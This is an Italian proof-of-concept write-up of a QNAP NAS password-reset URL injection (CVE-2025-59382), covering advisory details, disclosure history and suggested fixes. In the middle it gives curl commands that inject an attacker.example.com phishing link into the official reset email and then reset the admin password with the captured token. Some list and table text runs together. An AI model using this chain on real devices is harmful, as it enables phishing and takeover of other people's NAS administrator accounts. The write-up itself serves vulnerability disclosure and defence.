
Proof-of-concept e resoconto tecnico per CVE-2025-59382, una vulnerabilità di iniezione di URL di reimpostazione della password non autenticata in QNAP NAS che consente una catena di phishing finalizzata all'acquisizione dell'account.
URL di reimpostazione password controllato da un attaccante non autenticato in /cgi-bin/reset_password.cgi.
Testato su QuTScloud c5.2.4.3041 build 20250211 in un laboratorio. QNAP ha successivamente pubblicato questo come CVE-2025-59382 nell'avviso QSA-26-10.
Un attaccante non autenticato con accesso alla rete locale o a un'interfaccia di gestione NAS esposta può iniettare un URL arbitrario nell'email ufficiale di reimpostazione password QNAP manipolando il parametro url della funzione send_mail in /cgi-bin/reset_password.cgi.
La vittima riceve una vera email di reimpostazione password QNAP dal NAS. L'URL dell'attaccante è incorporato direttamente nel corpo HTML dell'email e QNAP aggiunge il token di reimpostazione () a quell'URL.
rpQuesto trasforma l'email di reimpostazione password in una bella catena di phishing-acquisizione account:
rpvc) nella pagina di phishingRichiede l'interazione della vittima, ma nessuna autenticazione dell'attaccante.
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
Il NAS invia l'email ufficiale di reimpostazione e aggiunge il token di reimpostazione all'URL dell'attaccante, ad esempio:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
Il codice di verifica è mostrato anche nella stessa email. Nelle evidenze di laboratorio appariva così:
Your verification code is: 2FEA2B8B
Quindi la pagina di phishing deve solo chiedere alla vittima il codice di verifica. Il token rp atterra già sul server dell'attaccante quando il link viene cliccato.
Una volta che l'attaccante ha il token rp e il codice di verifica vc associato, può reimpostare la password di amministratore:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
La chiamata finale di reimpostazione deve essere una POST. Il codice di verifica che la vittima inserisce nella pagina falsa viene inviato a QNAP come vc=<code>.
La nuova password è codificata in base64 in new_pw. Nel PoC questo è bastato per cambiare la password di amministratore e poi accedere come admin.
Il normale flusso frontend costruisce un URL locale del NAS come:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
Ma il backend si fida del parametro url fornito dal client invece di generare l'URL di reimpostazione da sé. Quindi costruisce il link email utilizzando quel valore e aggiunge:
&u=<user>&rp=<reset_token>
Si fida semplicemente di qualsiasi cosa venga passata come url.
L'email di fiducia del NAS sta effettuando la consegna.
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 MediumQNAP elenca i prodotti interessati come:
5.2.7h5.2.8c5.2.82.7.1Versioni corrette elencate da QNAP:
5.2.9.3499h5.2.9c5.2.92.8.0QNAP descrive il problema come un attaccante remoto che modifica l'URL di reimpostazione password e induce una vittima a visitare una pagina di reimpostazione controllata dall'attaccante, portando al furto di credenziali.
Il mio obiettivo di laboratorio è stato QuTScloud c5.2.4.3041 build 20250211. Il mio impatto di laboratorio è stato la reimpostazione della password di amministratore e l'accesso come admin dopo l'interazione della vittima.
Piccola nota: ho riprodotto questo nel mio laboratorio il 2026-05-09 e l'ho inviato a QNAP il 2026-05-11; lo hanno segnato come duplicato di INTSI000-9029. Poiché QNAP ha ora pubblicato il CVE/avviso, pubblico il POC. Crediti a Tim Coen come primo scopritore.
Non conosco la patch esatta usata da QNAP. Il loro avviso elenca solo le versioni corrette.
La mia ipotesi per la giusta correzione è semplice: non lasciare che il browser dica al NAS dove dovrebbe puntare il link di reimpostazione.
Il NAS dovrebbe costruire quel link da sé. Se QNAP ha ancora bisogno di un parametro url per il flusso, dovrebbe accettare solo la normale pagina di reimpostazione del NAS e rifiutare qualsiasi cosa esterna.
Codificherei anche qualsiasi cosa venga inserita nel corpo dell'email e metterei un limite di velocità sulle richieste di email di reimpostazione non autenticate.
Dichiarazione di non responsabilità: Questo codice exploit è pubblicato a scopo educativo e di ricerca difensiva. Non utilizzarlo contro sistemi di cui non possiedi o non hai esplicita autorizzazione per testare. L'autore non è responsabile per un uso improprio.